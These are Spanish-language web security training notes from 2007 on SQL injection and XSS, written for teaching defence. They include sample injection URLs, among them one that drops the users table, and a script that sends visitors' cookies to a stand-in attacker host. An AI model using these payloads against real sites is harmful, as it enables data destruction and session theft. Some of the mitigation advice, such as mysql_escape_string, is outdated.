Capacitación sobre seguridad de aplicaciones web
Fecha: 20 de Octubre 2007Por: Javier
Resumen: Sobre sql injection y ataques XSS
Tipo de capacitación: técnica pública
SQL Injection
Problema:Es la injection de código sql debido a que al guardar información en la base de datos no limpiamos los datos enviados por el usuario.
http://example.org/datos.pgp?user_id=7 $query = "SELECT * FROM users WHERE id = '" . $user_id . "';" http://example.org/datos.pgp?user_id=7' or '1'='1 http://example.org/datos.pgp?user_id=7'; DROP TABLE users; SELECT * FROM users WHERE '1'='1
Soluciones:
Limpiar toda variable antes de guardarla. Todas estas soluciones se pueden combinar, en muchos casos se deben combinar:
sql_escape:
$user_id = mysql_escape_string($user_id); //pgsql_escape_string en postgresql
$query = "SELECT * FROM users WHERE id = '" . $user_id . "';"
$query = "SELECT * FROM users WHERE id = '" . $user_id . "';"
Por qué no usar quotes magic o similares? La biblioteca de la misma base de datos es la manera más directa, más segura, quotes magic (OCSE) trata de dar una solución general a todas las bases de datos, en mi experiencia, es mejor usar funciones nativas, funciones especializadas.
casting:
$user_id = (int)$user_id;
expresiones regulares:
Aqui solo aceptamos letras, numeros y _.-
almidon:
$user_id = $data->request['user_id']; // solo funciona en caso se user_id esta definido como dato.
$user_id = Table::parse_var($user_id);
Notas:
Injection también puede ocurrir a un archivo (RFI remote file injection), o a un comando que luego ejecutemos: shell injection.
Blind Sql Injection: Normalmente injection es facilitada por los mensajes de error, con blind sql injection solo se tiene la opcion de éxito o fracaso, accediendo al catálogo se va construyendo el ataque.
XSS atacks
Es el opuesto, de cierto modo, es el injectar código malicioso a los datos para luego actuar al ser mostrados en pantalla.Generalmente usado para “phishing”. Ataque, injectar en mi blog, o artículo. Un ejemplo que registraria en la bitacora maquina del atacante (example.com), los cookies de todo visitante del sitio donde se colocó el injection.
<script>
document.write('<script src="http://www.example.com/get_cookies?cookies='
document.write(document.cookie)
document.write('"></script>');
</script>Este ejemplo registraria en la bitacora maquina del atacante (example.com), los cookies
Solución:
Limpiar toda variable que se tome (de la base de datos) a la pantalla.
| File | Last modified | Size |
|---|---|---|
| Blind_SQLInjection.pdf | 2011-04-25 11:41 | 219Kb |
| XSS.pdf | 2011-04-25 11:41 | 175Kb |
| bh-us-04-hotchkies.pdf | 2011-04-25 11:41 | 542Kb |
Enlace: http://en.wikipedia.org/wiki/Code_injection
CategorySysAdmin